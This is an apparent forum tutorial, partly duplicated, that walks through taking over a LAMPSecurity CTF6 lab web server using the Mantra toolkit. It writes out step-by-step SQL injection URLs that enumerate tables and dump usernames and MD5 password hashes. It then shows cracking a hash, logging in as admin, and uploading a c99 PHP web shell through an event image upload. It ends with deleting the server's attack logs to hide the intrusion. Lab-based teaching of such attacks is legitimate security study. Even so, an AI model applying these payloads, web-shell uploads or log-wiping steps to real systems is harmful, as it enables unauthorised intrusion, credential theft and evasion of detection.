Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: Hackerlaxu1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vnp0sYzxTZDNUWStuXiZVvTF1AWpIUfrCHTX9o-ub_qiCPTmh4ZpZ-CAxaD12xykgZlUzQDnRZZ7iGqGXCWmDur2BCsNgLSaJy0yGZ3gqxMaAQ7GWSt5F2g5lsbBDNJKRkIXumxmrXA8DmIMRHRFBK_C_pQmyH5J8v7j9UTdjIYaGp=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: Hackerlaxu2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ueXJOv_K69vyzitJIJWozdZ0Mbrvk-tYCUdN78GJcsOZTJMpxlGpiokPU3QDLae-66RTk3SqmmofGin3IjOPTc1btDD50LZ4tuf-G9z4LAQTipzKtyMwL556bhVRom9Xc_ih3cqBHFQe3U9PmhU9CwESl885EIubwAMOalC6VNV-G4tw=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: Hackerlaxu3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vvb2DEt_CVOlWNQQmai2xYzXTmxjGbO5WzbqiNvHPIMtILYzzUB_PnTqlaRNwWsPSgteEJ4ezayRTbvxGupGrq5rHx_6vwX1Xkh_K5_bXz8dQIdCYlSd9AxpspsYE-L8vbTw9wuld4mcpzhaoQR5bqLYOHJhMxd73CvOZDdfYVxKKUDw=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: Hackerlaxu4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s484Ga1VqD3vHDGF1IX6eN2GJAraFT-S6XkU7n5N4dO2LhZNRuiu7iZgssGOU2YKCBpYIP-vA8YrPSKf83K2gRGRlE0ep-XEG0j0GsWsFRPOfDiL1NuD1M9wT06wnjRrSIl3NQZnfldD7Egv21ODY7iyn-FlBcDE818aD-1NrCVFJIiw=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: Hackerlaxu6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_stx07TvxiY2b9ffl3gL53Y-WgVtbj-mNQTTns6NlUYyHNLDF7oiN-Gf5ow51D-J98MaXTvWAMQyGVS7qFHkeH4nPng_y2maOMqnlDrUHiZuEEAVfbrGHka_KG6OkKV8smwBBO1-yY5Kfm6yR4rQXLvktXEdLikxttM84j01kRco50zMw=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: Hackerlaxu7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s5cS_z_kzkRBakadXQ06hwx_hcVWg25RmIx5RY1AfhcQgIoTOWImLHt-AIGrsqnWxEKJcohCaNMWDq5-jz3kD8wOidHFYTV7NVFHQYXIuP-_iPJdFt6pD6cYL47822jIK6hTsO7NfTNLki7gdVFyHls-Y5gG8Sv6Vf5cA7xPC9vso7=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: Hackerlaxu12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sjEVQdSAh2MfwAFf7iR8KcACipqymV7VL3wEBDjJnp21jSXk3t-Q0FAVLHwbiPCsd8po3MbgCvqKlkGiIKMXb_q2O-NrvT2mDJWf1rEFiG_dWYgBe9O7uwUGYjcGTsY_BwPdK0fhpOutlmXGpgReFAHxqdC-_ll_iWRUEHRqSXhy01xSY=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: Hackerlaxu13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uQWN9rPxzBBmhUj-5xgo36cds1Uj4d0swvWxjEgWv4Sw0xwZwRnxnanX1L3ciIsimWvfqfHhdejcqySr1pbEpXOzBn4oksyO7LwG45qUY3oQVnrTjl3t8Ud_T4Ul0m1Pg6HdiJp_AUHy_u28tX2gBoRkekTZf0VGU0hboTAkXlSZ4aSLU=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: Hackerlaxu14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uUN0OjBzGu8ysChiku_3NcuSmSMeKL8Fe8IOO4gf4QRfQe4t0dz2GbrInKmWCFliruVAJZDIYM-MZzpgMHue0eU1kr3yHdbzaQ5sWGJG3mkoosWCnXyhzsw94XScvFuap8xUPU4wNz4iAbJMxPZtREUNLG1iGYY7FWpDWuGv2VWSAAA9w=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: Hackerlaxu16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sG7puf9wH-5Yo5lvVO2_PTz4WJak-q_Cfh_uYVoxqPpV0kASooxJdQD2l8A_2djf7uTg4g5djfZI2eWx5yLr9GHFWwkhKGZnYfTgp-VX0kI1K1SZpnTSrwCIQdUM02sM45hDgoeHeLZk8KxkXCcFTX_WnmJ88DClcRq9cLzxSEL9qMwRU=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: Hackerlaxu19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tBxbW-7kDJRr7q6jVWBi_GJjcFiddb97T4-ptBiiBPz_dpw6F5FCwaRMsq-qLz1MozqebQyYzFlpDYqjxImkI4ZU7wo72Fi-PJuAZUvJUXs1LE234WfMSvJorqheXNMgNmNnQlMiC1_zZ6n0pONqsaeDGYoQkWGVAps8AmI9WEz1IlPA=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: Hackerlaxu21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ushIx7RC-K8AJjBwAJXZMLNT8cdNOS8jzGsA0QgWYgjP84dtnx4_mlkIEY_2ZXQtZtSMSnMURYvKhfEutYOxJVlwBrzT5a1fV7W6vEU8coFrLsoQw3NO3yapTsNW3VqoHFxlohaMm-N8cmlnZlFgeRdpA2Am3rQe4nXeXNinVeFxH5tN8=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: Hackerlaxu22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sY5dxOV9bUkPsH3B4GyGOQOFJXgjxSUWuk-WyQVX2agmmN5hdBpuW-hQtaVGK7G1WQ8jd53TgU1f_xseC05IKe6kMSBZZmx0BqULnZmOXjVsApviSW4zaXXSVSimSmrWy53AZbKp5k4lzKAohpzUM2wggRsOGT0hlTNvSZM3mF17ur1LM=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: Hackerlaxu23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sf-xEfba-R3XPkvwwsxvC1e2C0k6QBSTYLhEP9eT5FS87cVr1aNY-CGaQzHuNTFA0CEs8fXqHuiYxxd-J5cs_9EVvfRCNjMrDIHi2TY-UhEkF2Z58v8MyVcOQEEBNfI0X7LF-5sMYkJeMh5xX_WCK-SVD24stQ7yFdbG8X9pZ6XDb7Jw=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: Hackerlaxu24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s024Zb9nSzIjgASoOI_ib5L6H6GTWVg-JbEBFg7CmgxHVddugnfI72fDYa9wbZIfYoIFxsuihYdREzF5fBb6eJkuZxQuK49BESMLbzCm7u55owfYhXfGUM-NAIFeSJXAOB0TmJN7Y3RtPKJj5zITcAOmPauboRF_VH5O8zHdBE9xFXuA=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: Hackerlaxu25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vn3R7Juz89MtxFpGs20PpvY3ry9Ro7dufL66JTsOkzt2brpilTb6E9WTUz7xU7h_qlCfxgUBBQl_iiC9aDYbxp7-GchMA_ygS9wEGY3KtgrwPpFHz3VuXjZj4HLRgM-aQTiFRp7NgzYPuo_DpEYgFfR19WPEPTluUYJisTos0NKUjMi0E=s0-d)
Step 17:
Lets find the user name
![[Image: Hackerlaxu27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vRKeSE4HIJBvmDQecL6zvQrLxcSLaGD8vMs2pKLLfQPrrICvrAZmZdyXb1JS-AJ49D0Qo_aPaw8klDiN5Jcv9GfGTgLm1VBXUGsjSZHrGqR2BVOlQ8AST6VW3ddcD7AVsG4GIQMqvrLkXLY9hWYQrY6RsaqMF8IbvKn4SC60eNHc2C84w=s0-d)
Step 18:
Now, what about password
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
Code:
http://192.168.132.128/Step 2:
I went through all the pages of web site and found a page with URL input
Code:
http://192.168.132.128/?id=13Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
Code:
http://192.168.132.128/?id=13'Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
Code:
http://192.168.132.128/?id=13 order by 1Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
Code:
http://192.168.132.128/?id=13 order by 7Step 7:
I went up to 7 and no change till now
Code:
http://192.168.132.128/?id=13 order by 7Step 8:
I'm on 8 now and I can see the page changed
Code:
http://192.168.132.128/?id=13 order by 8Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,75.0.45 is the version
Step 14:
Let me list all the tables
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tablesFrom this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columnsStep 16:
I want columns from the table "user" and nothing else
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'Step 17:
Lets find the user name
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from userStep 18:
Now, what about password
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from userIts encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
Reference:
1. Infond tutorial
Happy Hacking.!!!
======================================================================
Note: This tutorial is only for
Educational Purposes, I did not take any responsibility of any misuse,
you will be solely responsible for any misuse that you do. Scanning
Server & Web Hacking is criminal activity and is punishable under
cyber crime and you may get upto 40 years of imprisonment, if got
caught in doing so.
